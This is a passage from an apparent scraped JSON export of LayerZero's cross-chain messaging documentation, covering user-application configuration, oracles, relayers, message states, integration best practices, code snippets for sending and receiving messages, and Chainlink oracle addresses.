Previous Omnichain Governance Next Register UA Last modified 1yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "UA Custom Configuration", - "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/ua-custom-configuration", - "body": "UA Custom Configuration User Application contracts may set their own configuration for message library, relayer, oracle, etc. public fun set_config < UA > ( major_version : u64 , minor_version : u8 , chain_id : u64 , config_type : u8 , config_bytes : vector < u8 > , _cap : & UaCapability < UA > ) public fun set_send_msglib < UA > ( chain_id : u64 , major_version : u64 , minor_version : u8 , _cap : & UaCapability < UA > ) public fun set_receive_msglib < UA > ( chain_id : u64 , major_version : u64 , minor_version : u8 , _cap : & UaCapability < UA > ) public fun set_executor < UA > ( chain_id : u64 , version : u64 , executor : address , _cap : & UaCapability < UA > ) Previous Estimating Message Fees Next - Ecosystem Relayer Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Bug Bounty Program", - "html_url": "https://layerzero.gitbook.io/docs/bug-bounty/bug-bounty-program", - "body": "Bug Bounty Program LayerZero has an absolute commitment to continuously evaluating and improving security, to demonstrate this we are pleased to run the largest live bug bounty program across the industry at up to $15M! You can read more about the program and make reports via Immunefi . To date LayerZero has awarded almost $1M to white hats that have made disclosures. A separate bug bounty of up to $2M exists specifically covering The Aptos Bridge , which will in time increase in scope to join the above program. More details on this separate bounty program can be found here . Previous What is LayerZero Next - Concepts Messaging Properties Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Oracle", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle", - "body": "Oracle Helps secure the network. Each User Application can opt-in to any Oracle LayerZero's default oracle provider will be updated as of 9/19/23 , details of which you can find here . The Oracle performs a role in securing LayerZero's messaging protocol by moving data between chains. Each oracle has the task of moving a requested block header from a source chain to a destination chain. An oracle works in tandem with a Relayer . Each User Application contract built on LayerZero will work without configuration using defaults, but a UA will also be able to configure its own Oracle and Relayer . Previous Max Proof Cost Estimate Next Default Oracle Updates Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Relayer", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer", - "body": "Relayer Relayers perform a critical role in the LayerZero message protocol by delivering messages. Relayers work in tandem with an Oracle to transmit messages between chains. By default, User Applications will use the LayerZero Relayer. This means you do not need to run your own Relayer. If you want to select a custom Relayer you will need to set a custom UA configuration . If you wish to learn more about operating and/or building your own Relayer read on. Aptos Guide - Previous UA Custom Configuration Next Overview Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Advanced", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/advanced", - "body": "Advanced Looking to set your UA configuration ? Check here to set a custom blockConfirmations and other UA app config values. Previous Set Trusted Remotes Next Development Staging Last modified 1d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Best Practice", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/best-practice", - "body": "Best Practice It is highly recommended User Applications implement the ILayerZeroApplicationConfig . Implementing this interface will provide you with forceResumeReceive which, in the worse case can allow the owner/multisig to unblock the queue of messages if something unexpected happens. Instant Finality Guarantee (IFG) Reverting in UA is cumbersome and expensive. It is more efficient to design your UA with IFG such that if a transaction was accepted at source, the transaction will be accepted at the remote. For example, Stargate has a credit management system (Delta Algorithm) to guarantee that if a swap was accepted at source, the destination must have enough asset to complete the swap, hence the IFG. Tracking the Nonce It is important for UA to keep track of their own nonce (e.g. by events) to correlate the send and receive side transactions. UA at send() side can query the nonce at endpoint.getOutboundNonce interface, and in lzReceive() the inboundNonce is in the arguments. One Action Per Message Try to do only one thing per message. The implication is that if the message was burnt (misconfiguration, bad code etc.. the damage to the state is minimal. Store Failed Messages If the message execution fails at the destination, try-catch, and store it for future retry. From LayerZero's perspective, the message has been delivered. It is much cheaper and easier for your programs to recover from the last state at the destination chain. Store a hash of the message payload is much cheaper than storing the whole message. Gas for Message Types If your app includes multiple message types to be sent across chains, compute a rough gas estimate at the destination chain per each message type . Your message may fail for the out-of-gas exception at the destination if your app did not instruct the relayer to put extra gas on contract execution. And the UA should enforce the gas estimate on-chain at the source chain to prevent users from inputting too low the value for gas. Address Sanity Check Check the address size according to the source chain (e.g. address size == 20 bytes on EVM chains) to prevent a vector unauthenticated contract call. Messages Encoding Use type-safe bytes codec. Use custom codec only if you are comfortable with it and your app requires deep optimization. Previous Failure Revert Messages Next - EVM Guides LayerZero Omnichain Contracts Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Code Examples", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples", - "body": "Code Examples Take a look at our Solidity Examples repo or some great template code to get you started It is recommended User Applications implement NonblockingLzApp which allow you to easily override two functions to add send + receive functionality to your contracts! GitHub - LayerZero-Labs/solidity-examples: example contracts GitHub LayerZero Solidity Examples npm: @layerzerolabs/solidity-examples npm NPM package to go along with Solidity Examples The primary way to implement LayerZero messaging in your contract is to use LzApp or NonblockingLzApp: solidity-examples/contracts/lzApp at main LayerZero-Labs/solidity-examples GitHub There are implementations of Tokens (OFT) and NFTs (ONFT) as well: solidity-examples/contracts/examples at main LayerZero-Labs/solidity-examples GitHub Previous UA Configuration Lock Next OmniCounter.sol Last modified 15d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Error Messages", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages", - "body": "Error Messages The most common problem: Not sending msg.value when calling send() on the endpoint. See notes here. See here for how much msg.value to send to cover the message cost. Is your transaction failing on destination with an unhelpful messages like this: ? Make sure you are sending the message to a destination contract that exists! If you've experimented with custom configuration, review the docs here For a description of every possible onchain failure take a look at this page . Previous PingPong.sol Next StoredPayload Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LayerZero Integration Checklist", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist", - "body": "LayerZero Integration Checklist The checklist below is intended to help prepare a project that integrates LayerZero for an external audit or Mainnet deployment Use the latest version of solidity-examples package. Do not copy contracts from LayerZero repositories directly to your project. If your project requires token bridging inherit your token from OFT or ONFT . For new tokens use OFT or ONFT , for bridging existing tokens use ProxyOFT or ProxyONFT . For bridging only between EVM chains use OFT and for bridging between EVM and non EVM chains (e.g., Aptos) use OFTV2 . Do not hardcode LayerZero chain Ids. Use admin restricted setters instead. Do not hardcode address zero ( address(0) ) as zroPaymentAddress when estimating fees and sending messages. Pass it as a parameter instead. Do not hardcode useZro to false when estimating fees and sending messages. Pass it as a parameter instead. Do not hardcode zero bytes ( bytes(0) ) as adapterParamers . Pass them as a parameter instead. Set setUseCustomAdapterParams as True for OFT and ONFT Test the amount of gas required for the execution on the destination chain. Use custom adapter parameters and specify the minimum destination gas for each cross-chain path when the default amount of gas ( 200,000 ) is not enough. Call setMinDstGas to set the minimum gas. (200k for OFT for all EVMs except Arbitrum is enough. For Arbitrum, set as 2M. ) This requires whoever calls the send function to provide the adapter params with a destination gas >= amount set in the minDstGasLookup for that chain. So that your users don't run into failed messages on the destination. It makes it a smoother end-to-end experience for all. Do not add requires statements that repeat existing checks in the parent contracts. For example, lzReceive function in LzApp contract checks that the message sender is LayerZero endpoint and the scrAddress is a trusted remote, do not perform the same checks in nonblockingLzReceive . If your contract derives from LzApp , do not call lzEndpoint.send directly, use _lzSend . For ONFTs that allow minting a range of tokens on each chain, make the variables that specify the range (e.g. startMintId and endMintId) immutable. Previous 1155 Next - EVM Guides LayerZero Tooling Last modified 20h ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LayerZero Omnichain Contracts", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts", - "body": "LayerZero Omnichain Contracts Want to send your tokens cross chain? OFT Omnichain Fungible Tokens enable a token to be sent across current (and even future) chains! There is no requirement for liquidity, and there are no fees! ONFT Omnichain Non Fungible Tokens allow your NFT project to send tokens across chains. See the Lil Pudgies bridge in action! EVM Guides - Previous Best Practice Next OFT Last modified 5d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LayerZero Tooling", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-tooling", - "body": "LayerZero Tooling Configuration tools around setting up your UA Config and Wire Up Config A set of common tasks for contracts integrating LayerZero Installation $ npm install @layerzerolabs/ua-utils The plugin depends on @nomiclabs/hardhat-ethers , so you need to import both plugins in your hardhat.config.js : require ( \"@nomiclabs/hardhat-ethers\" ); require ( \"@layerzerolabs/ua-utils\" ); Or if you are using TypeScript, in your hardhat.config.ts : import \"@nomiclabs/hardhat-ethers\" ; import \"@layerzerolabs/ua-utils\" ; UA Config This config is used to Lock in UA Configuration . To use this script please fill in your Application Configuration according to your applications needs. Wire Up Configuration This config can be used to set the following on your UA contract: function setFeeBp(uint16, bool, uint16) function setDefaultFeeBp(uint16) function setMinDstGas(uint16, uint16, uint) function setUseCustomAdapterParams(bool) function setTrustedRemote(uint16, bytes) To use this script please fill in your Wire Up Configuration according to your applications needs. EVM Guides - Previous LayerZero Integration Checklist Next UA Configuration Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Getting Started", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/master", - "body": "Getting Started Developing on LayerZero is as simple as it gets - just implement the send() and lzReceive() interfaces and your app is ready to send messages across connected chains. To get started, check send() and lzReceive() . Or dive right in with a simple code example here . FAQ Learn answers to Frequently Asked Questions . User Applications User Application contracts built on LayerZero send secure messages between different blockchains! Here is an example of a OmnichainFungibleToken (OFT) Talk to the Team Twitter Telegram Discord (join dev-announcements for updates!) Medium Official Website https://layerzero.network/ Concepts - Previous FAQ Next Send Messages Last modified 1yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Omnichain Governance", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/omnichain-governance", - "body": "Omnichain Governance LayerZero enables multichain governance solutions. All votes. All chains. Recently, the team produced contracts for omnichain governance for Uniswap . Take a look! GitHub - LayerZero-Labs/omnichain-governance-executor GitHub Previous Wire Up Configuration Next - Aptos Guide Getting Started Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "UA Custom Configuration", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/ua-custom-configuration", - "body": "UA Custom Configuration User Application contracts may set their own configuration for block confirmation, send version, relayer, oracle, etc. When a UA wishes to configure their own block confirmations both the outboundBlockConfirmations of the source and the inboundBlockConfirmations of the destination must be configured and match. How to Configure A User Application (UA) can use non-default protocol settings, and to do so it must implement the interface ILayerZeroUserApplicationConfig . The UA may then manually update its ApplicationConfig . See examples below as well as the CONFIG_TYPES . Set: Inbound Proof Library 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"uint16\" ], 3 [ inboundProofLibraryVersion ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_INBOUND_PROOF_LIBRARY_VERSION , 9 config 10 ) Set: Inbound Block Confirmations 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"uint16\" ], 3 [ 42 ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_INBOUND_BLOCK_CONFIRMATIONS , 9 config 10 ) Set: Relayer 1 let config = ethers . utils . solidityPack ( 2 [ \"address\" ], 3 [ relayerAddr ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_RELAYER , 9 config 10 ) Set: Outbound Proof Type/LibraryVersion 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"uint16\" ], 3 [ outboundProofType ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_OUTBOUND_PROOF_TYPE , 9 config 10 ) Set: Outbound Block Confirmations 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"uint16\" ], 3 [ 17 ] // outbound block confirmations 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_OUTBOUND_BLOCK_CONFIRMATIONS , 9 config 10 ) Set: Oracle Oracle settings are configured per channel pathway, meaning UAs who want to lock Oracle configs will need to call setConfig per chain pairing. 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"address\" ], 3 [ oracleAddr ] 4 ) 5 await lzEndpoint . setConfig ( 6 0 , 7 dstChainId , 8 CONFIG_TYPE_ORACLE , 9 config 10 ) Config Types CONFIG_TYPE_INBOUND_PROOF_LIBRARY_VERSION 1 CONFIG_TYPE_INBOUND_BLOCK_CONFIRMATIONS 2 CONFIG_TYPE_RELAYER 3 CONFIG_TYPE_OUTBOUND_PROOF_TYPE 4 CONFIG_TYPE_OUTBOUND_BLOCK_CONFIRMATIONS 5 CONFIG_TYPE_ORACLE 6 Previous NonblockingLzApp Next UA Configuration Lock Last modified 6d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "FAQ", - "html_url": "https://layerzero.gitbook.io/docs/faq/faq-1", - "body": "FAQ Frequently Asked Questions What is LayerZero? LayerZero enables messages to be sent between blockchains. How do I send a cross-chain message? See example contracts here and details on sending messages here . What blockchains are supported? See a table of supported blockchains . The team is always working to add more chains, so check back frequently! What is a User Application? A User Application (UA) is any contract that uses LayerZero to send & receive messages between blockchains. What is an Endpoint? The deployed contract on which your User Application calls send() to transmit messages and set its own UA configuration. Heres is the list of endpoint addresses with which you may interact with. What is an Ultra Light Node? The UltraLightNode.sol is a smart contract at the heart of the message protocol, sitting behind the Endpoint, it enables all the features of LayerZero. In the future, UAs will benefit from new versions of the Ultra Light Node, the most recent version of the ULN is v2. What is an Oracle? An Oracle is required by each User Application and assists in sending messages. User Applications use the default Oracle automatically so you don't need you configure it, but you can if you want to. What is a Relayer? User Applications use the LayerZero Relayer by default, without additional configuration. However, a Relayer is required by each User Application and plays a crucial role in delivering cross chain messages. If desirable, User Applications may be configured to use a different relayer. Technical Section Two Modes: Blocking and Nonblocking: LayerZero UserApplications can choose to be Blocking or Nonblocking (see the examples ). All messages are nonce-ordered, which means they will arrive from a source chain & source UA address in the order they are sent. By default, messages will be queued if there is an out-of-gas, or logical error on the destination. If contract developers wish to avoid the default blocking mechanism, instead use NonblockingLzApp which will continue with the flow of messages, a design which stores out-of-gas messages on the destination to be retried (by anyone) at anytime. Can LayerZero users enjoy the benefit of any future optimized proof technology, e.g. ZKP based? Yes, LayerZero has the ability to add new Messaging Libraries. LayerZero Labs will keep bringing the best research into production. Existing users can easily perform a library migration on-chain. Concepts - Previous Glossary Next - EVM Guides Getting Started Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Future-Proof Architecture", - "html_url": "https://layerzero.gitbook.io/docs/faq/future-proof-architecture", - "body": "Future-Proof Architecture Immutable Endpoint LayerZero Endpoint is the only interface for a User Application (UA). The Endpoint allows UAs to configure the Messaging Library used for sending and receiving verified messages, and guarantees the message delivering ordering across all messaging libraries. Send() : the message will be sent through the endpoint first and then redirected to the UA-configured Messaging Library Receive() : the message will be verified at the Messaging Library first then forwarded to the endpoint and eventually delivered to the UA. Perpetual Messaging All Messaging Libraries, once deployed, will be in service in perpetuity, which means that no entity, including the LayerZero Labs multi-sig, can de-register any Messaging Library or change the Messaging Library configuration of a UA, i.e. if the UA has specified a Messaging Library to use, no entity can stop the messaging flow. Continuous Improvement LayerZero can deploy new Messaging Libraries for security and performance optimization (e.g. more efficient proof technologies). This allows LayerZero to bring the best research into production and support the system with the best technology. The UA interface won't change and UA can simply migrate to any new version with ease. For each Messaging Library (e.g. Ultra-Light Node), LayerZero can deploy new proof validation libraries for security or performance reasons. Immutable UA Configuration If the UA has specified a validation library to use, no entity can change the configuration. Concepts - Previous LayerZero Endpoint Next - Concepts Glossary Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Glossary", - "html_url": "https://layerzero.gitbook.io/docs/faq/glossary", - "body": "Glossary This glossary defines and explains many LayerZero concepts and terminology. User Application (UA) A User Application (UA) is any contract that uses LayerZero to send & receive messages between blockchains. We define UA as a tuple ( chainId , contractAddress ) the UA that send() the message at the source chain as srcUA ( srcChain , srcAddress ) the UA that lzReceive() at the destination chain as dstUA ( dstChain , dstAddress ) In LayerZero's perspective, srcUA and dstUA are different, though they might be the same entity. Ultra-Light Node (ULN) ULN is a messaging protocol, firstly introduced in the LayerZero white paper, that allows lightweight cross-chain messaging with configurable trustlessness on the specification of Oracle and Relayer, the two roles that are relaying block information and transaction proof across chains. Oracle A contract address that can be notified to move a block header. What is a Relayer? Any process that delivers a transaction proof in the LayerZero system. Messaging Library The contract that handles the message payload packing on the source chain and verification on the destination chain. Ultra-Light Node is an implementation of Messaging Library Proof Library The contract that verifies the validity of a proof. Merkle Patricia Tree inclusion proof is an implementation of Proof Library. Concepts - Previous Future-Proof Architecture Next - Concepts FAQ Last modified 3mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LayerZero Endpoint", - "html_url": "https://layerzero.gitbook.io/docs/faq/layerzero-endpoint", - "body": "LayerZero Endpoint Messages in LayerZero are sent and received by LayerZero Endpoints , which handle message transmission, verification, and receipt; these endpoints consist of two components: a collection of versioned messaging libraries , and a proxy to route messages to the correct library version. When a message arrives at an endpoint, the endpoint selects the User Application configured library version to handle the message. The endpoint keeps all message states across versions and this allows libraries to be easily upgraded for fixes or optimizations. Messaging Library Versioning UAs can specify a particular messaging library version to tightly control messaging behaviors, or alternatively specify DEFAULT_VERSION to take advantage of library auto-upgrade. Note that the library versions on the send() and lzReceive() sides must be the same for an INFLIGHT message to be delivered. Ultra-Light Node is the V1 of messaging libraries. interface ILayerZeroEndpoint.sol // @notice set the send() LayerZero messaging library version to _version // @param _version - new messaging library version function setSendVersion ( uint16 _version ) external ; // @notice set the lzReceive() LayerZero messaging library version to _version // @param _version - new messaging library version function setReceiveVersion ( uint16 _version ) external ; // @notice get the send() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getSendVersion ( address _userApplication ) external view returns ( uint16 ); // @notice get the lzReceive() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getReceiveVersion ( address _userApplication ) external view returns ( uint16 ) Messaging Library Migration The LayerZero endpoint has only implemented one library version (Ultra-Light Node). We will release guides for migration when we have deployed any new messaging library. Concepts - Previous Messaging Properties Next - Concepts Future-Proof Architecture Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Messaging Properties", - "html_url": "https://layerzero.gitbook.io/docs/faq/messaging-properties", - "body": "Messaging Properties Message State Messages are sent from the User Application (UA) at source srcUA to the UA at the destination dstUA . Once the message is received by dstUA , the message is considered delivered (transitioning from INFLIGHT to either SUCCESS or STORED ) Message State Cases INFLIGHT After a message is sent SUCCESS A1: dstUA success OK() A2: dstUA fails with caught error/exception STORED B1: dstUA fails with uncaught error/exception // message handling at destination chain try ILayerZeroReceiver ( _dstAddress ). lzReceive { gas : _gasLimit }( _srcChainId , _srcAddress , _nonce , _payload ) { // message state becomes SUCCESS } catch { // message state becomes STORED emit PayloadStored ( _srcChainId , _srcAddress , _dstAddress , _payload ); } Case A2: dstUA is expected to store the message in their contract to be retried (LayerZero will not store any successfully delivered messages). dstUA is expected to monitor and retry STORED messages on behalf of its users. Case B1: dstUA is expected to gracefully handle all errors/exceptions when receiving a message, and any uncaught errors/exceptions (including out-of-gas) will cause the message to transition into STORED . A STORED message will block the delivery of any future message from srcUA to all dstUA on the same destination chain and can be retried until the message becomes SUCCESS . dstUA should implement a handler to transition the stored message from STORED to SUCCESS . If a bug in dstUA contract results in an unrecoverable error/exception, LayerZero provides a last-resort interface to force resume message delivery, only by the dstUA contract. Message Ordering LayerZero provides ordered delivery of messages from a given sender to a destination chain, i.e. srcUA -> dstChain . In other words, the message order nonce is shared by all dstUA on the same dstChain . That's why a STORED message blocks the message pathway from srcUA to all dstUA on the same destination chain. If it isn't necessary to preserve the sequential nonce property for a particular dstUA the sender must add the nonce into the payload and handle it end-to-end within the UA. UAs can implement a non-blocking pattern in their contract code. Extensibility Message Adapter Parameters LayerZero allows UAs to add arbitrary transaction params in the send() function, providing a high level of flexibility and opening up opportunities for a diverse set of 3rd party plugins This is implemented as an unreserved byte array parameter to the send() function, with UAs allowed to write any additional data necessary into that parameter. We recommend that UAs leave some degree of configurability for the extra parameters to allow for feature extensions. One great feature of _adapterParams is performing an Airdrop . Patterns Non-Reentrancy LayerZero Endpoint has a non-reentrancy guard for both the send() and receive() , respectively. In other words, both send() and receive() can not call themselves on the same chain. UAs should not rely on LayerZero to perform the non-reentrancy check. However, UAs can query the endpoint to see if the endpoint isSendingPayload() or isReceivingPayload() for finer-grained reentrancy control. Message Chaining UAs can call send() in the receive() calls on the same chain. Example applications for calling send() in the receive() include (e.g. Ping Pong ): the UA at the source chain wants a message receipt (Chain A -> Chain B -> Chain A) the UA at the destination reroutes the message (Chain A -> Chain B -> Chain C) function lzReceive ( uint16 _srcChainId , bytes memory _fromAddress , uint64 , /*_nonce*/ bytes memory _payload ) external override { ... // message chaining endpoint . send { value : messageFee }( ... ); } However, the fee for sending messages on another chain is not observable on-chain. UAs would need to create some fee estimate heuristics. Optionally, user apps can store the chained message and then resend them with another transaction. Multi-Send UAs can send multiple messages in one transaction at the source chain. The endpoint non-reentrancy will not block this pattern. function sendFirstMessage ( uint gasAmountForDst , uint16 [] calldata chainIds , bytes [] calldata dstAddresses ) external payable { ... for ( uint i = 0 ; i < chainIds . length ; i ++ ){ endpoint . send { value : fee }( chainIds [ i ], dstAddresses [ i ], messageString , msg . sender , address ( 0x0 ), _relayerParams ); } } Bug Bounty - Previous Bug Bounty Program Next - Concepts LayerZero Endpoint Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Audits", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/audits", - "body": "Audits LayerZero Labs has commissioned 35+ audits with the most recent audits on Github . Nearly all code written by LayerZero Labs since inception have been immutable smart contracts audited externally and rigorously reviewed internally at least 3+ times each. GitHub - LayerZero-Labs/Audits GitHub LayerZero Labs Audit Repository Previous Deprecated Libraries Last modified 8mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Interfaces", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces", - "body": "Interfaces Interfaces to the LayerZero contracts Interfaces for interacting with LayerZero contracts, including the Endpoint . Previous Multisig Wallets Next EVM (Solidity) Interfaces Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LayerZero Interfaces", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces-1", - "body": "LayerZero Interfaces Developers may need one or more of these interfaces when working with LayerZero contracts. https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/lzApp/interfaces Ultra-Light Node Interfaces See our contract interfaces here . Previous ILayerZeroRelayer.sol Next - Technical Reference SDK Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Mainnet", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet", - "body": "Mainnet LayerZero mainnet deployments. The Mainnet Contract Addresses are all you need to start sending messages. LayerZero endpoints are deployed onto a variety of chains, including the primary L1s and possibly even some experimental chains! To start sending messages here is an outline what you'll need: Access to JSON-RPC provider data, for the chains you want to use (or your own nodes) ETH, BNB, AVAX, etc.. for the chains you need Hardhat project (perhaps check out our solidity-examples repo) Good vibes Previous Default Config Next Mainnet Addresses Last modified 2mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Proof Types", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/proof-types", - "body": "Proof Types Proof Type 1 - Merkle Patricia Tree (MPT) inclusion proof. Technical Reference - Previous SDK Next Deprecated Libraries Last modified 1yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "SDK", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/sdk", - "body": "SDK Coming Soon SDK for Testnet / Mainnet Deployment Addresses. Technical Reference - Previous LayerZero Interfaces Next - Technical Reference Proof Types Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Testnet", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/testnet", - "body": "Testnet LayerZero testnet is a deployed set of Endpoints on the chains we operate on. The Testnet Contract Addresses are all you need to start sending messages. LayerZero endpoints are deployed onto a variety of chains, including the primary L1s and possibly even some experimental chains! To start sending messages here is an outline what you'll need: Access to JSON-RPC provider data, for the chains you want to use (or your own nodes) Test ether Hardhat project (perhaps check out our solidity-examples repo) Good vibes Previous zkLightClient Addresses Next Testnet Addresses Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Estimating Message Fees", - "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/code-examples/estimating-message-fees", - "body": "Estimating Message Fees Get the quantity of native gas token to pay to send a message If you want to know how much AptosCoin to pay for the message, you can call the Endpoint's quote_fee() to get the fee tuple (native_fee (in coin), layerzero_fee (in coin)). public fun quote_fee ( ua_address : address , dst_chain_id : u64 , payload_size : u64 , pay_in_zro : bool , adapter_params : vector < u8 > , msglib_params : vector < u8 > ): ( u64 , u64 ) Previous OmniCounter.move Next - Aptos Guide UA Custom Configuration Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "OmniCounter.move", - "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/code-examples/messagecounter.move", - "body": "OmniCounter.move A LayerZero User Application example to demonstrate message sending. The OmniCounter OmniCounter is a contract that increments a counter -- but there's a twist. This OmniCounter increments the counter on another chain. The Details To send cross chain messages, contracts will use an endpoint to send() from the source chain and lz_receive() to receive the message on the destination chain. LayerZero-Aptos-Contract/counter.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub Aptos Guide - Previous Code Examples Next Estimating Message Fees Last modified 18d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Register UA", - "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/master/how-to-send-a-message", - "body": "Register UA Before sending messages on LayerZero you need to register your UA. public fun register_ua < UA > ( account : & signer ): UaCapability < UA > The UA type is an identifier of your application. You can use any type as UA , e.g. 0x1::MyApp::MyApp as a UA . Only one UA is allowed per address. That means there won't be a case where two UA types share the same address. When calling register_ua() , you will get a UaCapability returned. It is the resource for authenticating any LayerZero functions, such as sending messages and setting configurations. Aptos Guide - Previous Getting Started Next Send Messages Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Send Messages", - "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/master/how-to-send-a-message-1", - "body": "Send Messages Use LayerZero to send a bytes payload from one chain to another. To send a message, call the Endpoint's send() function. Initiate the send() function in your contracts to send a cross chain message. public fun send < UA > ( dst_chain_id : u64 , dst_address : vector < u8 > , payload : vector < u8 > , native_fee : Coin < AptosCoin > , zro_fee : Coin < ZRO > , adapter_params : vector < u8 > , msglib_params : vector < u8 > , _cap : & UaCapability < UA > ): ( u64 , Coin < AptosCoin > , Coin < ZRO > ) You can send any message ( payload ) to any address on any chain and pay fee with AptosCoin . So far we only support AptosCoin as fee. ZRO coin will be supported to pay the protocol fee in the future. The msglib_params is for passing parameters to the message libraries. So far, it is not used and can be empty. Estimating Message Fees If you want to know how much to give to the send() function to pay for you message please refer to this section on estimating fees . Previous Register UA Next Receive Messages Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Receive Messages", - "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/master/receive-messages", - "body": "Receive Messages Destination contracts must implement lzReceive() to handle incoming messages The UA has to provide a public entry function lz_receive() for executors to receive messages from other chains and execute your business logic. public entry fun lz_receive < Type1 , Type2 , ... > ( src_chain_id : u64 , src_address : vector < u8 > , payload : vector < u8 > ) The lz_receive() function has to call the Endpoint's lz_receive() function to verify the payload and get the nonce. // endpoint's lz_receive() public fun lz_receive < UA > ( src_chain_id : u64 , src_address : vector < u8 > , payload : vector < u8 > , _cap : & UaCapability < UA > ): u64 When an executor calls your UA's lz_receive() , it needs to know what generic types to use for consuming the payload. So if your UA needs those types, you also need to provide a public entry function lz_receive_types() to return the types. Make sure to assert the provided types against the payload. For example, if the payload indicates coinType A, then the provided coinType must be A. public fun lz_receive_types ( src_chain_id : u64 , src_address : vector < u8 > , payload : vector < u8 > ): vector < TypeInfo > Blocking Mode LayerZero is by BLOCKING by default, which means if the message payload fails in the lz_receive() function, your UA will be blocked and cannot receive next messages from that path until the failed message is received successfully. If this happens, you may have to drop the message or store it and retry later. We provide LZApp Modules to help you handle it. Previous Send Messages Next - Aptos Guide LZApp Modules Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Chainlink Oracle", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/chainlink-oracle", - "body": "Chainlink Oracle Contract Addresses to use Chainlink with LayerZero To use the Chainlink oracle with your LayerZero UserApplication, configure your app with the addresses below. Chainlink Oracle Addresses Ethereum: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 BNB: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Avalanche: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Polygon: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Arbitrum: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Optimism: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 Fantom: 0x150A58e9E6BF69ccEb1DBA5ae97C166DC8792539 There is some additional information for Chainlink that can be found here . Participating Node Operators Currently these Chainlink nodes provide support and redundancy for the Chainlink Oracle DexTrac Chainlayer LinkForest LinkPool Previous TSS Oracle Next Overview of Polyhedra zkLightClient Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Configuring Custom Oracle", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/configuring-custom-oracle", 